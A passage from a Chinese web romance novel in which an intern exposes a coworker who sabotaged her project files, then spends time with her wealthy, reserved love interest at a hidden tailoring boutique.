向芸看到经理的表情,立刻道:“GYTO是咱们的大客户,要是凡凡一晚上没重新弄完,到时候怎么办啊?”
她神色焦急,就像是为公司即将丢失了一个重大客户,和在业内口碑可能有所污点而担忧。
一说起这个,经理就烦,他向来看好庄凡,没想到会在这么重要的项目上出这样的事,“怎么办,还能怎么办,只能让她引咎辞职,再给GYTO免费补偿两个项目。”
众人一听,脑袋里嗡的一下。
竟然直接要被辞退了。
氛围变得有些凝固。
向芸得到了自己想要的答案,内心狂喜,脸上却一脸惋惜。
一道细细软软的声音忽然响起,“可是,好像这次项目不是庄主管做的,是她手下实习生做的,就算庄主管有责任,也不能全是她背吧。”
经理有些为难,那位实习生他可碰不得,但公司规定在那里,要是不处罚到时候很难服众。
他皱了皱眉,看了眼面前的实习生,没想到她就这样直接挑破。
就在这时,一道清甜软糯,还带着几分刚睡醒鼻音的声音从身后响起,“不好意思经理,睡过头了。已经弄完抄送发您邮箱了,您没收到么?”
众人顺着声音下意识地看过去,便见办公室紧贴着后门平日堆放杂志的角落里,铺的整整齐齐的日报忽然跟成精似的动了起来。
吓了众人一跳。
随后便见成精的日报分向两侧散去,然后露出一位少女清纯无暇又漂亮的脸蛋,睡眼惺忪,头上还顶着一份杂志。
虽然造型有些离谱,却让人想起当年《新白娘子传奇》中,白娘子初褪去蛇皮那经典的一幕。
有着出水芙蓉般的懵懂与无暇,众人不由的看得有些发呆。
过了两秒才回过神来,哪里是什么杂志精,这不是沈晞又能是谁。
18. 第 18 章
虽然有着他们草台班子小分队的帮助,沈晞昨天还是弄到了凌晨三点多,连在附近再开个房的力气都没有,直接爬回了办公室——因为会议室的椅子有点硬。
然后就将两张椅子拖到办公室最后面,堆放杂志哪里,地方大还能挡风。她将两张椅子并到了一起,躺下后觉得有些冷,也懒得再去搜刮看谁椅子背后还挂着衣服拿来借用,直接在一摞杂志的最上面拿了两张大大的报纸,将自己从上到下裹起来。
有本杂志被牵动的掉了下来,也没力气再放回,直接从中间打开,盖在脸上,下一秒便晕晕乎乎的睡了过去。
直到逐渐有人进来,开始叽里咕噜的将一些幸灾乐祸的话,她才被吵醒,只不过实在是太困了,身体动不了,但那些话她都迷迷糊糊的听见了。
彻底清醒时,听到的便是彭念真那句——“这次项目不是庄主管做的,是她手下实习生做的,就算庄主管有责任,也不能全是她背吧。”
她自动将她后面的话补齐——
庄主管有责任,那位小实习就不无辜么?
好一个一石二鸟,要不是她就是“那位小实习生”她甚至想为她鼓个掌叫个好。
可身为小实习本人的她,笑不出来一点。
所有人都认为她们做不完死定了是吧。
那可真是不好意思了。
沈晞扒着一旁的桌边儿坐起来,还一边说着,“不好意思经理,睡过头了。已经弄完抄送发您邮箱了,您没收到么?”
众人愣了几秒才反应过来。
向芸更是脸色一变,“怎么可能?!”
那么多的任务量怎么可能一个晚上重新做完!
沈晞站起身,头顶上的杂志掉了下来,砸在地上,发出“啪——”的一声。
就像是给了向芸一记重重的耳光。
沈晞捡起落在地上的杂志,一步步向她走过去,下巴微扬,半是玩笑半是认真的说:“怎么,向主管好像很失望?”
向芸猛地回过神来,意识到自己刚刚的失态,公司内部明争暗斗的很多,但哪能这样明晃晃的直接摆在明面上,她立刻笑着说:“怎么会,我是在为凡凡和你开心啊。”
众人被她瞬间变脸的能力惊了下。
沈晞却唇齿微勾,笑了下,像是同她客套,却又像是个志得意满的胜利者,“是么,那我替庄姐谢谢向主管。”
向芸:“……”
向芸的表情快要维持不住,被气的牙痒痒。
她没想到沈晞小小年纪,竟然就能这么沉得住气,打太极般和她过招,偏偏又挑不出错来。
不但如此,她们竟然一个晚上重新完成了项目,本来以为这次是将庄凡拉下台的好机会,她甚至都觉得要成功了。
没想到……
向芸垂在身侧的手指甲狠狠掐进肉里,才让她堪堪克制住心中的愤懑。
经理听到这话,也松了口气,拿出手机来翻看着邮件,果然找到了凌晨三点时的一份邮件,只不过被消息压了下去,他之前没看到。
“那就好,对了,庄凡什么情况?”
沈晞视线忽然在自己的手机上顿了几秒,不知道在看什么,听到问话后才抬头,说:“庄姐昨晚发高烧了,可能没来及请假。”
经理点点头,刚想开口,便听向芸又说:“虽然这次有惊无险,但是凡凡这次的纰漏是不是也要小惩为戒一下,也算是给我们敲一下警钟。”
经理斜睨着她,过了两秒才开口,语气听不出喜怒道:“你倒是心急。”
向芸脑子里嗡的一下,她刚刚看经理似乎就要把这事这样过去,虽然这次不能彻底扳倒庄凡,但总不能就轻描淡写当什么事没发生过一下,所以才一咬牙开了口,没想到却被经理直接点出了心思。
她彻底慌张的垂下了头,一时间不知道说什么。说浅了就是非要踩死同事,说重了,就是在教经理做事,向芸的手都开始出汗,“我……”
还没等她想好,经理便不轻不重的说:“做事太急躁,可不是长久之计。”
一句话“铛”的一下,让向芸彻底僵在了原地。
这是,给她判了死刑,旁敲侧击告诉她,不能再往上晋升了?
向芸双腿一软,觉得自己快要倒下去了,可却又麻木的直直站在原地。
经理没再多看她,而是和沈晞说:“等庄凡来了让她来我办公室一趟,让她来领罚。”
说到最后那半句时,还不着痕迹的看了一旁的向芸一眼。
向芸再也站不住,直直瘫坐在了身后的椅子里。
经理本来就会罚的,可就像是经理说的,她太着急了,所以才会多此一举,也白白断了自己的前路,她可真是……机关算尽的吃力不讨好。
身旁的人被吓了一跳,问她有没有事,她也只是无意识的摇着头。
沈晞见人没事,收回视线,和经理说:“虽然庄姐按规定应该受罚,但是这次不止是她的疏忽,没有审核我提交的case,还是有人恶意悄悄改了我的case,故意损害公司的名誉和利益。”
经理一听,眉头立刻皱了起来。公司一些个明争暗斗良性竞争是在正常不过的事,做的太明显的,比如向芸那样,他也只会觉得这人沉不住气上不了更大的台面。
可要是恶意竞争不惜损害公司利益,那就是原则问题了,甚至是法律问题。
“还有这事?”
沈晞不紧不慢的娓娓道来,“对,庄姐知道当下不是推卸责任寻根问底的时候,所以昨天压着没说,一直忙着补救。”
经理也暗自在心里点头,庄凡确实稳重,处理起事情来知道轻重缓急。又问:“知道是谁么?”
说着,他神色一凛,环视着众人,“这事一定会严查,都别想蒙混过关!”
沈晞看着经理,点了点头,“知道。”
众人也安耐不住,你看看我我看看你的交头接耳,毕竟谁都不想团队里出现这么个人,每天都提心吊胆的生怕哪天被暗算背刺。
她那双玻璃珠似的眸子微微仰的看着人,脸上还带着睡眠不足的困意,说气话来有种慢吞吞的软糯,就很乖,语调却又是坚定的。就很像那种,受了委屈,跟长辈告状的小女孩。
看的经理心都软了,他家里也有个年纪差不多的姑娘,声音都变得温和微弯腰问:“是谁?”
沈晞头微侧,看向某处,“是她。”
众人也顺着她的视线看过去。
彭念真顿时被看的心中一慌,却忽然想到了什么,镇定了下来,反问道:“你有证据么?你凭什么说是我干的?”
“你分别在前天下午五点零八,和七点十一时,动过我的电脑,”沈晞边说着,边拿出电量即将耗尽关机的手机,“这里有监控。”
众人将头探过去,果然看到视频里,这两个快放的时间节点下,彭念真站在沈晞的电脑前,还在上面敲敲打打的。
彭念真却表情从容,“我确实是看过你电脑,但那天不止我一个人看过,大家都来欣赏过你的优秀作品,你忘了?”
旁边也有人道:“对啊茜茜,其实那天我们都看过。”
这也是为什么,昨天说有人改过她数据时,大家的反应有些大了。毕竟,这话一出,就像是怀疑他们一样,他们每个人都有可能,这话是说给谁听呢。
“但没有人像她一样在我电脑上敲敲打打。”这话是和大家说的,但目光却淡淡的睨着彭念真。
那双玻璃珠的眸子,上一秒还又乖又楚楚可怜的博同情,现在直直地盯着她,却有种置身事外的冷静和淡漠,好像看透一切却又懒得多费唇舌。
装什么啊,她早就知道沈晞根本不像看上去那样乖那样纯。
可却被这双漆黑冷淡的眸看的,让她不由的有些紧张。
但是没关系的,她没有证据。她刚刚就猜到,沈晞最多也只是调出了监控,也难为她,又是通宵加班,又能在那么杂乱的人群往来中,找到她在她电脑上操作的画面,明明她已经很小心。
可这并证明不了什么。
众人也回过神来,对,那天确实很多人看过,甚至拿着鼠标、控制面板浏览都没问题。可视频里,确实看到了明显的敲键盘的动作,这就很令人怀疑了。
他们都怀疑的看向彭念真,谁知彭念真却轻笑了下,“对,我确实操作过。”
众人一惊,没想到她就这么大方承认了。
然后就见她坦然道:“刚打开时,有广告弹出来,所以我关了,然后、我把你做的case发送到了我的邮箱里,想学习一下。”
彭念真眼睫微垂,避开了那双置身事外不好惹的眸,继续道:“我们关系又不好,所以,我不想你知道,就删了发送记录。”
看上去,就真像小姑娘那点别扭的不好意思。大家也大概都听说了“草台班子小组”那边的事,知道她们的关系不好。
所以,也确实最值得怀疑。
“我现在电脑里还有,不信大家可以去看。”彭念真眼圈微红,连声音都带着些轻颤,像是受尽了委屈和愿望。
说着,还真就打开了邮箱。
附近的人看过去,可不就躺着沈晞的几分优秀case么,刚好是在那天的五点零八分。
沈晞又困又累,靠在了身后的桌子上,双手环着胸,一幅“我看你演”的表情,漫不经心的看着她问:“那你七点多又去我电脑前干什么啊?凶手重返‘案犯现场’,来欣赏自己的杰作么?”
说到最后,她甚至是笑着的,语调和表情都带着几分俏皮。说的话却气人的要命。
“我……”彭念真一时语塞,也不知是被气的,还是被问到。过了两秒才眼睛微眨的说,“我是忽然发现,有些资料没转发过去,又发了一下。”
这话说的,很虚心求教,让人挑不出毛病来。
“哦,”沈晞语调有些夸张的微扬,恍然大悟般,“这样。”
听不出到底是信还是没信,但语气却很可恶。
彭念真:“……”
可却也没再继续说什么,她只当是沈晞在那虚张声势,无计可施后的不满。内心便有了底气,眼尾一扬,对着沈晞说:“你折腾了半天,怀疑这个怀疑那个,谁知道你的数据是不是真的被改了,而不是在这推卸责任?”
她很确信是没有备份证据的,不然沈晞也不会熬了一个通宵,才把问题处理好。
她开始后悔,怎么当时没把这份case也转发过来,做为彻底锤死沈晞的证据。
但没关系,即使没有,沈晞现在也说不清,到底是真的被改了数据还是本身就出了错,毕竟口说无凭,也足够在经理心中,留下一个这人做事不行的印象了。
比之她之前,在那个草台班子犯的错还大,最后,她们两个到底谁能留下来,又或者都不能留下来,还真不一定。
彭念真心里勾起抹得意的笑,甚至带着股谁都别想好的玉石俱焚。
谁知下一秒,沈晞却轻笑了下,又是那股,她最讨厌的,带着些完事都了然于胸,却又不想和你一般见识的轻蔑。却莫名让她有些心慌。
“装够了么?”沈晞本来还想看看她究竟能做到什么程度,没想到不过如此,也不愿再和她浪费时间,“真不好意思,像是我们这种重点项目,都会装技术监控的你不知道么?上面能够清晰的显示着每一个操作步骤,和更改。就是你过来的时间节点——”
依旧是那高高在上的语气,有着优秀项目人所享有的,她不知道的特殊待遇。却还在故意反问,这无疑深深刺痛了彭念真的内心,也让她彻底慌了。
“怎么可能?!你骗我!”
“骗你?”沈晞本就比她高,垂着眸睨着她,冷笑着,虽带着加班后的疲倦,也未施粉黛,可此时的气场却十分冷艳,像是全妆涂着烈焰红唇。
此时别人看她,便也有着她看傅律白时的感叹,气场这个东西并不需要外力的辅佐来支撑。
沈晞眉梢微挑,“你有什么好值得我骗?”
这句话,无疑是给彭念真重重一击。还没等她缓过来,一旁的经理便不干了,皱着眉严肃道:“做出这种事来,这已经不是公司内斗,这是侵犯他人权益的违法行为,报警!”
这话一出,立刻有人在震惊中反应过来,拿起手机报警。而彭念真听到“报警”两个字,也彻底害怕了,她没想到事情会发展到这一步。
她不是没在学校,见过有人悄悄偷了别人的成果,但无凭无据只能吃个哑巴亏的,她只是太嫉妒沈晞了,嫉妒她事情处理的好,可以留下来,自己天天吃冷板凳。
可是,她真的没想过这样的……
去了警局留了案底,她就真的完了。
她猛地转过身去,扑向沈晞,“对不起,对不起我错了,我不是故意的,你原谅我——”
她这一扑,动作来的太猛,吓了沈晞一跳,还以为她要做什么,下意识地往旁边躲开。彭念真便没抱住她的胳膊,而是直直的滑跪了下去,也没再站起来,而是顺势抓住了沈晞的裤脚。
像是被什么脏东西碰到,沈晞实在是不喜欢陷入这种一哭二闹三上吊的漩涡中心,实在是太难看。
现在还不太明显,她还太过稚嫩,可等再成长个几年,会发现,她和傅律白两个人在骨子里,还是有很多相似之处,都足够体面。
可意识到时,两人又遗憾的希望,要是有人不这样体面,自私一点就好了。
沈晞眉心微蹙,察觉到她要走,彭念真死死抓住她的裤脚,眼泪不由自主的顺着眼眶流下来,“我只是想给你点教训,不让让你事事都压我一头,我没想把事情搞到这么大……”
经理在一旁听着,怒气不止,这是什么小学生发言,他平日里最看不惯这样上不了台面的事,冷声道:“现在已经不是沈晞原不原谅你的事了,你有话留给警察说吧!”
彭念真有一瞬间目露茫然。
沈晞淡淡睨着她,语调中没什么情绪,“你承认了。”
彭念真茫然的抬起眸,“什么?”
沈晞忽然觉得很没意思,但还是决定让她死个明白,“根本没有技术监控的,我不过是在诈你,但你现在自己承认了。我猜,你七点那次趁我不在,又去动了我的电脑,其实是想看看,我有没有发现数据被更改过,又改了回来是吧?”
众人一听,顿时倒吸了口凉气,多么恶毒,是真的不置人于死地不罢休。
彭念真的表情由茫然再到震惊,最后一句话落下,直接恼羞成怒到癫狂,眼睛死死的盯着沈晞,像是一条毒蛇一般,都不知道她是怎么做到的,直接暴起扑上沈晞,狠厉的像是要将她撕碎。
她这一下太过突然,周围的人都没反应过来,但沈晞早有准备,躲向了一旁,而彭念真这一下,直接磕到了沈晞刚刚靠的桌子上,发出“咚”的一声闷响。
二十岁出头的小姑娘皮肤白嫩,额头瞬间红肿起了个大包,但却像是感觉不到疼一样,再次疯了一样的扑向沈晞。
这下,周围的人也都反应了过来,七手八脚的将她死死按在了桌子上,让她动弹不得。
彭念真脸侧帖在桌子上,眼睛猩红死死盯着沈晞,像是要将她看穿,剥皮抽筋。
沈晞有些心情复杂的看着她,其实最初时两个人的关系也没到这样,也有着同龄小姐妹间的友好,甚至还会互带些奶茶。
她走近,用着只有两个人听到的声音,低声说:“其实我只是在这里混个实习证明,从来没有想过留下来,只要你好好地,最后被留用的就会是你。”
她说完,最后在看了彭念真一眼,便转身走了。
彭念真眼神却变了,崩溃的叫着她,“沈晞——!”
这算什么,她费尽心机想要的,不过是别人的无关痛痒。最后反而聪明反被聪明误,枉费心机,这口气又怎么咽的下!
这时,警察也赶到涌了进来,沈晞听着身后一声声歇斯底里喊着她的名字,没有回头,甚至脚步都没停。
走到门口时,声音停住,只能听到口被人捂住的不甘的呜咽声,人很快从她身边被带走。
走近她时,彭念真甚至都不敢的像是疯子一样,想要冲向她,手被人控制着,便想用脚踢,但也很快被警察严厉制止。
二十岁出头的小姑娘,此时头发凌乱,脸上还带着泪痕与恨意,再无半点出入公司时的青春朝气,活像个疯婆子。
但沈晞并未再看她一眼,只默默地走自己的路,虽然喧嚣一直在她的前方。
身后的同事们也久久没回过神来,直到门再次关上,听到不轻不重“砰”的一声。
像是将一切盖棺定论。
他们这才反应过来,不由的唏嘘,又下意识地看向仍愣在座位上的向芸,带着几分鄙夷。
不磊落的人带出来的徒弟也上不得台面。
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……
没走出两步,淡淡地雾凇传入鼻息,余光便也映出了那君子如松挺拔又干净凌冽的身影。喧嚣便因他的出现而消失,一切又归于他强大的秩序感磁场。
沈晞站在他两步远的距离,抬起头,忽然想到什么,眼神有点飘,心中还带着些隐秘的雀跃,问:“你怎么会去查监控的。”
刚刚收到他信息时,她是真的有些意外。没想到他会管,更没想到他连这样的细节都想到,甚至及时雨般让她得以锤死彭念真。
本来她也想稍后去查监控的,竟像是知道她心中所想般送了过来。
两人在那天小吃街后加了微信,本想到时约走街访巷,却没想,这倒是成了第一条发的信息。
听到她问这个,傅律白也愣了下,她整个人情绪并不高,脸色也有些难看,带着通宵后的疲倦,有点木木的,没想到上来还能关系起这件事。
他以为她甚至会抱怨,甚至会哭。
因为她看上去垂着眸,耷拉着嘴角,实在是有些委屈。
她似乎总是能让自己另眼相看,于是不紧不慢尾音还带着几分缓解气氛的微拖打趣,道:“只是觉得,能和我讨价还价的小姑娘,不至于在这样低级的问题上出错。”
这算是,很高的认可么?
隐秘的雀跃好像得到了一处落实感,可下一秒,她又猛然瞪大了眼睛。连疲倦都暂时抛到脑后,“我什么时候和你讨价还价了?”
傅律白不紧不慢一一细数着,“比如,让我自己拿捏社交分寸,茜茜小姐不但逃避自责,还独自做起了评判官,还很铁面无私。”
接着,他又列了一些细小的例子。
沈晞怔怔地听着,才恍然意识到,她竟已不知不觉和他走的这样近。她不着痕迹的看着他,不确定这样子的让步,任她讨价还价,是年上者的包容,还是有其他别的原因。
但四平八稳的傅先生,若是不想让人从他那里讨去什么,别人连讨价还价的资格都没有。
这点彼此都心知肚明。
可理智尚存的沈晞,终究是在迟疑中,没有问出这样一句,便也错过了情绪时机。
再问,便显得太过明显,也没这样的胆量。本也只是一闪而过的念头,闪过便算了,也庆幸这一刻即使通了宵夜是清醒的,没有口不择言。
可情绪便也又跃跃的跟着一起平复了下来,甚至有些继续向下走的趋势。刚刚的喧嚣有些反扑,她忽而轻叹了口气。
垂着眸说:“我在学校也算是好人缘,和谁都没有过大矛盾。”
虽然她一直保持乖女孩人设,但确实在学校里,所有人都跟她关系不错。她知道自己不是人民币,也没打算让所有人都喜欢她,但开局就这样的冲突,还是第一次。她甚至都不知道哪里得罪了她。
沈晞又叹了口气,这次比刚刚那声还重了点,看着他有些哀怨,却劳神在在的说:“怎么到了你公司就这样了啊,是不是我和你公司八字不合啊。”
她终于抱怨,他以为她会说一些个委屈,却没想到开口,竟然是说这些。傅律白有些意外,更有些想笑。
可她看上去实在是有些难过,一双睡眠不足带着些血丝的水汪汪眼睛自下而上的看着他,带着些无意识的埋怨和担忧,连嘴都微嘟着,好像真的信了这些玄之又玄的东西。
傅律白便没有笑,微微低头,轻睨着她,似是询问。可嗓音却还是带着几分半拖着调子的轻扬,“真这么不开心啊?”
沈晞眨了下眼睛,嘴嘟的更重了几分,似是再用实际行动回答着。
要是别人这样做,大概会觉得太过矫揉造作。
可偏偏她长着一张纯欲的脸,做这些时又无意识,只是情绪使然,便自然又可爱。同时还带着那么点委屈巴巴,让人觉得有些可笑又心疼的。
傅律白淡声说:“带你去玩。”
“去哪里?”沈晞提起了些兴致,但不高,声音还是低低蔫蔫的,有气无力。
傅律白说:“去个饭局。”
沈晞想都没想的便拒绝,“那不去。”
本来,对于傅律白的邀请,她还是挺感兴趣的,但凡他换个地方,她应该就会去的。但是饭局嘛,而且是他这样身份的饭局,想想都觉得无聊透顶,一举一动都要格外小心,都可能吃不饱。
她才不去受这个罪。
大概是看出她的想法,傅律白淡声说:“算你出外勤,不用来公司,权当休息。”
他声音总是那样不紧不慢,带着点循循善诱的味道。
但沈晞没有上钩,很快反应过来,有些不可置信道:“不能请假么?我通宵加班、我、不能!请假么!”
这是什么黑心资本家!
休息都要以出外勤的方式才可以?
“理论上是可以的,”黑心资本家不表示绝对的赞同,他这会儿倒是平易近人起来,但下一秒却又不急不缓,像是同她分析讲明现下的情况,“不过你的加班似乎是因为补救自己的问题,大概只能请事假。”
沈晞听出了他的话外音,身为资深乖女孩,肆意请事假休息,似乎很不符合人设。小叔大概率也不会知道,就算真的问起,她也可以含混过去。
但是往往一个谎言就要用无数个谎言去圆,这实在是太费脑细胞。
明明话说到这份上,傅律白却又在那儿,看似十分绅士贴心的补充了句,“但我想,你的直属领导一定会给你批这个假,毕竟你这次处理的真的很不错。”
不但话说的漂亮,最后还真心实意不吝啬的赞扬他。
但沈晞却忽然觉得,他这人,有时似乎也没那样端着,有着说不出的距离感,明明有着不着痕迹的小恶劣,也会逗弄人。
这个发现让她有点意外,却也被小小气到。
沈晞在又好气又无语间,轻瞪了他一眼,没好气道:“我还要睡觉。”
这便是可以商量,但如果不让她将这个觉睡好,她也不会去的。
“是个晚宴,你可以睡到下午再起来。”傅律白从善如流道,倒真像个好脾气的绅士,邀请着自己的女伴,又妥帖周到的不让自己的女伴太过操劳,可以好好地修整自己,不必为了小小宴会而烦恼。
其实事实也是如此,这样的局每天邀请他的不知道有多少个,是中午亦或是晚上,还不是由傅先生说了算。
他也只是临时起意,觉得,她应当会喜欢,毕竟,有些人和事真的很有趣。
体验派的好奇宝宝,又怎么不会为之兴奋。
沈晞并不知情,只以为是恰巧赶上,她也确实挺想看看,金字塔顶尖的人们,是一个怎样的世界。
“行吧,”她同意,又抬眸大大方方的提醒,“不过事先说好,要是到时我做了什么,给你丢脸,你可别怪我。”
上流规矩多,谁知道那句话便得罪了人。
她嘴上说着“别怪罪”,也是理直气壮的,有着小姑娘难有的坦荡与骄纵。
傅律白轻笑,“在我身边,不用担心这些。”
沈晞心脏莫名跳漏了半拍,后来才真的领悟了他这句话的意思。
他便是“规矩”,做什么都是对的,哪怕在他身边的人也得此殊荣,做什么即便是真出了丑也只当是可爱,自然有人搭好台子,铺好路,谁人又会指摘半分。
这时便算是定下。
傅律白又忽然淡淡睨了她一眼,意有所指般眼尾微扫,像是在无声的提醒着她:他所言非虚,她确实很会和他讨价还价。
只一眼,便又不紧不慢的收回。可那双明明浅淡的眸,却看的沈晞脸微微有些发烫,慢慢垂下了眼睫,眼神微飘。
……
办公室同事们将视线从向芸那边收回,知道她是什么样的人后,之后默默远离便好。再抬头时却又立刻紧张了起来。
那位新来的特邀顾问,虽然有着潇潇君子骨,平时也很平易近人,但这样的人莫名就会让人有些不敢靠近,怕冒犯了人家。并且平日里也不怎么来公司,现下因为这事,连他都出动了,看着两人的表情,茜茜嘟着嘴垂着眸,大概率是在挨训。
更让他们不敢出去,又觉得茜茜实在是可怜,被那样小肚鸡肠的同事黑了。
自己本事不够,就疯狂给别人下绊子,幸好这次是被发现直接抓走了,就算不判刑,也很难再在业内生存。要是真留下来,这多吓人,不知道下一个被她使坏的会不会是自己。
19. 第 19 章
沈晞果然没有辜负约晚宴人的贴心,第二天直接睡到了下午三点多,还是被傅律白的电话叫醒的。
那边人愣了几秒,“还没醒?”
大概对于很有时间观念,并不怎么睡懒觉,就连倒时差都不会中午过后才爬起来的人来说,实在是有些意外。甚至都忘记对将人吵醒后表达歉意。
沈晞将手按在眼睛上,缓了几秒,慢吞吞道:“也可以醒。”
这次她再开口时,声音比刚刚清醒干净了不少,也确实是睡饱了,不过如果这通电话不打进来,她觉得自己还得再睡一两个小时才能爬起来。
这算是什么回答,似是将选择权又交给了他,难得没讨价还价,倒是稀奇。
但傅律白也没正面回答,而是问她,想不想去换身衣服,虽然穿什么过去都是可以的。
又将问题反抛了过去。
沈晞倒是忘了这茬,他的晚宴必定是衣香云鬓的场合,虽然他说了穿着她喜欢的舒服T恤也没关系,但到底她没着傅先生的身份和地位,做不到穿什么都随意坦然,想了想还是决定去换一身。
傅律白在那边讲,半个小时后来接她。
说完,他顿了下,又似乎想到了什么,问:“够么?”
他那一声带着几分漫不经意的笑意,也讲不清他是体贴还是在调侃逗弄她。
让沈晞的脸瞬间红透,却状似淡定的回:“够了。”
沈晞爬起来洗漱,边刷牙边习惯性刷着手机,这才看到昨晚宁今雨给她发来的消息,告诉她今夜降温记得关窗。
不过她昨天回来洗完澡后便直接睡死,也没有看到。
看来昨夜宁今雨又没有回来。
她是真的很拼,之前便在一个度假村民宿实习,就是遇到上次害她们进警局差点出事的混混那里。哪怕现在去了别的地方实习,这家民宿她也时不时的过去帮忙。
昨夜便应该是忙得回不来,直接住在了民宿里。
半个小时后,沈晞准时出门,出去时,只简单涂了些护肤品,手在路过那些个瓶瓶罐罐化妆品时,有一瞬间的停顿,却又很快径直去拿精华水,在脸上慢慢地拍着,没再去看旁边的任何东西,连简单的口红都未点一下。
在校园路边,熟悉的位置,又看到了那辆简简单单的黑色奔驰,她径直上了车。
和里面的人笑着打招呼。
傅律白正拿着平板不知道在处理什么,车门被拉开时,侧头睇过去浅淡的眸子有着瞬间的凌厉,在看到是她时又散去,又恢复成松散的样子,将平板放到一边,眉眼间有着淡淡浅笑。
沈晞觉得,自己应当收起之前的话,他也不是什么活都不做的那样轻松。
车开了近五十分钟,到了东四九巷,又往里深扎了十多分钟后才停下来。虽已见识过田师傅的车技,但今天自己坐在里面又有着新的一番感受,就这样七扭八拐的竟也不觉得有多晕,如果不是知道这种巷子不好走,她甚至觉得在走直路。
下车后,傅律白带着她走进一家庭院,沈晞着实愣了下。外面看挺简单的一胡同院子,打开门才知道内有乾坤。
四合院的结构模式,却又有着德式建筑风格。蓝色的琉璃衬着砖红的粉墙,庄严又典雅。大约是提前知道他们要来,有个年轻男人在门口迎接,语气客气,带着他们从西式拱门走进,又穿过回廊,露天中庭间有个圆形小池,里面养着几条锦鲤,都十分肥硕,懒懒地游动着。
沈晞暗自咋舌,好肥。
收回视线,德式浮雕廊柱又在西斜的日光中闪着细碎的光,上面的雕纹活灵活现。东四九巷虽不如学校附近的巷子熟,却也来过这边挺多次,甚至在旁边不到五百米处,吃过一家很好吃的炸酱面,可她来京市三年多,竟然今日才知道这里还藏着这么一处地方,如果不是知道的人带进来,大约也不会有人知道这是一家店。
是一家店的吧?
沈晞不确定的下意识抬头看了眼身旁的傅律白,说是带她来找件衣服,可进了这里,她有点不确定了。
这里怎么看都不太像一家店,没有任何标识,店名也没有,外面看不出,只贴了个23号,像个普通住家。
察觉到她的视线,傅律白垂眸看她,刚想开口,两人便被领到了厅堂,门开着,方正的厅里被摆着几排衣服,这下不用傅律白回答,沈晞便已经确定,这确实是家衣服店。
不过就是挺有个性,大概是家对赚钱不怎么感兴趣的店。
几乎是他们才站在门口,便有个看上去三十来岁穿着黑色落地长袖纱裙的成熟女人迎了上来,这个天气,外面和披了件灰色的毛衣。
为他们带路的年轻男人快走了两步去虚扶她,只不过被女人轻推了下手拒绝,男人便也规矩的站在了一旁。
女人走到沈晞两人面前,对着傅律白歉意又客气道:“实在抱歉傅先生,这两天有点不舒服,没去门口迎您。”
其实一切不过几秒钟,傅律白没来得及询问沈晞,视线从她身上移开,微微颔首道:“客气了盛小姐。”
盛小姐微微侧身,将傅律白带到了一旁的椅子前休息,男人同时端上来杯绿茶,有嫩绿的茶叶在上面浮动,在素白的茶杯中,显得无比清新。
盛小姐又笑着对沈晞说:“沈小姐,您跟我来。”
沈晞愣了下,没想到会知道自己的名字,可下一秒又反应过来,大概是傅律白提前说好的。她下意识看向傅律白。
傅律白已经将茶杯端到了面前,大概是余光瞧见,动作也未停,淡声说:“喜欢什么,就和盛小姐讲。”
说完这句,茶杯也便凑到了唇边,垂眸浅押了一口。
这话听起来,像是叮嘱没见过世面的小朋友,沈晞收回了视线便和沈小姐转身离开。
这一眼其实挺快,也不算怎么露情绪,但傅律白有着如炬的慧眼,又到底是小姑娘,又怎么能逃得过他的眼睛,傅律白将那口茶喝完,便看到了这一眼。
傅律白微怔,人已然走去了里间,他将茶杯放到圆木桌上,发出轻轻一声。
有些哑然,现在的小姑娘心思实在是不好懂。
外面衣服都偏华丽,有着强设计感,沈晞还以为里面的衣服只会更甚,但出乎意料的,里间的衣服更偏日常,这多少让沈晞松了口气。
那样的华丽,会让她觉得像是白雪公主的水晶鞋,有着过于不真实的虚幻。
她抗拒那样的虚幻,不知道是清醒的知道那不属于自己,所以连要都不想要。还是,有着更深层次的,因为那样的华丽,才会提醒自己,自己在一步步走向虚幻,所以不愿意清醒。
这样的日常系,大约也是傅律白特地交代的,不得不说,他真的好妥帖面面俱到。
盛小姐也是位很优秀的产品人,过程中沈晞知道,这里全部的衣服全是由盛小姐自己设计的。她话不多,也不会左右人的思想,让人安安静静的挑选着。
只会在沈晞拿出一套时,在一旁仔细的讲着这件衣服的设计特点,和一些细小的元素。
不会过于热情又不会过于冷淡,娓娓道来的,让沈晞觉得很舒服。
最终,沈晞在衣架上,抽出了一条浅绿色吊带裙。
她不知道,他是不是为每位女伴都这样绅士大方的准备衣服,和他去说这些,未免显得太小家子气,可她确实不想和他有着这样的金钱往来,虽然这些钱在他眼中也算不得什么。
“这件多少钱?”于是她直接问起了盛小姐,打算在她这道便直接付了,省去在傅律白那道。
盛小姐看她喜欢,正打算去拿熨斗给熨好后上身,听到这话后一愣,却又不漏痕迹的笑着说:“傅先生带来的人哪里能收钱,权当交个朋友。”
沈晞直直的看着她,有些不信。
盛小姐没有躲避她的视线,坦然和她对视,而后又笑着轻拍了下她的肩,“我去拿下熨斗,妹妹你可以再看看。”
她说完转身,慵懒的波浪卷轻轻飘动着,那灰色很有质感的羊绒围巾还披在她的肩上,衬着她黑色长裙下的细腰,暖阳打在她身上,是一种有腔调的风情。
沈晞觉得,她只在这院子里做着设计师,又合理却又有些可惜。
不过后来,当沈晞知道东四九巷23号曾经的背景后,又觉得,这未尝不是非池中物内心强大的自洽,又好佩服。
有些泛旧的半截布帘被人从里面掀开,也不只是里间没有镜子还是盛小姐别有心思,沈晞被她从后面半扶着肩推着走了出来,来到了外间竖在两排衣架间,带着同样的古旧却和这间厅堂十分搭配的等人高镜子前,笑着问她喜不喜欢。
沈晞抬起头,没来得及看这条裙子穿在自己身上的样子,却隔着镜子撞上了身后,那闲雅端坐在老梨花实木软座上人的视线。
那光线带着莫名昏昧,连向来温淡的视线都带的有些暧昧灼热,让人心头一烫,下意识想要躲。却又在垂眼间,被她生生忍住,抬眸强撑镇定自若的照着镜子。
可视线间,却又无法忽视那道灼热的目光,镜子里的自己都变得看不清。
傅律白却看清了。
不花哨的绿色吊带长裙,在裙摆间用轻盈的软纱做着不规则的渐变,逐渐加深,勾勒着她纤细的腰肢,在这复古老旧甚至有些死气的实木厅堂里,是唯一一抹鲜活。
盛小姐也在一旁惊讶,“沈小姐你身材比例好好!”
她设计服装这么多年,也偶尔给人量身定做,都没遇到过比例这么完美的,腰臀比、腿身比都堪称一绝,瘦却不单薄。
盛小姐难得有些兴奋,望着镜子瞧了眼,又转头问向傅律白,“傅先生您看,是不是还需要些饰品?”
傅先生还真就站了起来,沈晞隔着镜子看着那道朦胧的影儿,忍不住腹诽,坐在那里又不是看不到,还过来做什么。
